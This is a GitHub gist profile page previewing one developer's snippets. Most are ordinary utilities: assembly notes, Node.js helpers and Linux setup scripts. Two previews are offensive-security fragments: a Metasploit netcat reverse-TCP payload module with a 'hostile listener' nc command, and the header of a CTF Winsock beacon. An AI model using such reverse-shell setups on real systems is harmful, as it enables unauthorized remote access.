Skip to content

Instantly share code, notes, and snippets.

View mikesmullin's full-sized avatar
🛴
woot!

Mike Smullin mikesmullin

🛴
woot!
View GitHub Profile
@mikesmullin
mikesmullin / x86-assembly-notes.md
Last active June 18, 2024 14:46
Notes on x86-64 Assembly and Machine Code

Mike's x86-64 Assembly (ASM) Notes

Assembling Binary Machine Code

Operating Modes:

These determine the assumed/default size of instruction operands, and restricts which opcodes are available, and how they are used.

Modern operating systems, booted inside Real mode,

@mikesmullin
mikesmullin / trace.js
Created November 24, 2017 23:21
Node.JS print filename and line number prefixed to console log output
const path = require('path');
function trace(s) {
const orig = Error.prepareStackTrace;
Error.prepareStackTrace = (_, stack) => stack;
const err = new Error();
Error.captureStackTrace(err, arguments.callee);
Error.prepareStackTrace = orig;
const callee = err.stack[0];
process.stdout.write(`${path.relative(process.cwd(), callee.getFileName())}:${callee.getLineNumber()}: ${s}\n`);
@mikesmullin
mikesmullin / promiseBatch.js
Created February 18, 2024 05:13
javascript parallel async promise races in batches
const promiseBatch = async function* (concurrency, list, fn) {
for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) {
if (i < l) {
let _p;
_p = fn(list[i]).then(r => [_p.__id, r]);
_p.__id = i++;
if (p.push(_p) < concurrency) {
continue;
}
}
@mikesmullin
mikesmullin / chromedriver.sh
Created May 8, 2012 16:08
easily install chromedriver on linux/osx
sudo apt-get install unzip;
wget -O /tmp/chromedriver.zip http://chromedriver.googlecode.com/files/chromedriver_linux64_19.0.1068.0.zip && sudo unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/;
@mikesmullin
mikesmullin / watch.sh
Last active April 26, 2023 05:20
watch is a linux bash script to monitor file modification recursively and execute bash commands as changes occur
#!/usr/bin/env bash
# script: watch
# author: Mike Smullin <mike@smullindesign.com>
# license: GPLv3
# description:
# watches the given path for changes
# and executes a given command when changes occur
# usage:
# watch <path> <cmd...>
#
@mikesmullin
mikesmullin / PureRef.md
Created January 2, 2023 18:17
PureRef for artists

PureRef

It's good software.

https://www.pureref.com/

Description

All your reference images in one place. Organize your inspiration and speed up your creative process with PureRef.

@mikesmullin
mikesmullin / nc_reverse_tcp.rb
Created September 27, 2021 00:03
Metasploit: Payload: TTY Command Shell, Reverse TCP (Netcat) w/ AutoVerifySession=false to prevent echo test on connect
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb
# usage:
# # launch hostile listener
# $ sudo nc -vlp 80 -ns 192.168.119.198
@mikesmullin
mikesmullin / msmtp.sh
Last active March 4, 2021 21:12
install msmtp gmail, a localhost sendmail alternative
# setup msmtp for sending out email
# as an alternative to sendmail
# i prefer this because it is easier to install and configure than sendmail
# especially when using Gmail smtp servers
sudo -i
apt-get install msmtp
ln -s /usr/bin/msmtp /usr/sbin/sendmail
touch /var/log/msmtprc && chmod 666 /var/log/msmtprc
vim /etc/msmtprc
# config options: http://msmtp.sourceforge.net/doc/msmtp.html#A-user-configuration-file
@mikesmullin
mikesmullin / beacon.asm
Last active February 13, 2021 23:03
ctf wargame beacon.asm Windows 32-bit Winsock API (static; no dependencies) 2,560 bytes
; compile with MASM32
; C:\masm32\bin\ml /c /Zd /coff beacon.asm
; C:\masm32\bin\Link /SUBSYSTEM:WINDOWS beacon.obj
; beacon.exe
;
.386
.model flat, stdcall
option casemap :none
include C:\masm32\include\windows.inc
include C:\masm32\include\kernel32.inc
@mikesmullin
mikesmullin / toggle-pulseaudio.sh
Last active September 23, 2020 10:51
linux pulseaudio headphone speaker toggle switch
#!/bin/bash
# see original thread discussion:
# http://ubuntuforums.org/showthread.php?t=1370383
declare -i sinks=(`pacmd list-sinks | sed -n -e 's/\**[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'`)
declare -i sinks_count=${#sinks[*]}
declare -i active_sink_index=`pacmd list-sinks | sed -n -e 's/\*[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'`
declare -i next_sink_index=${sinks[0]}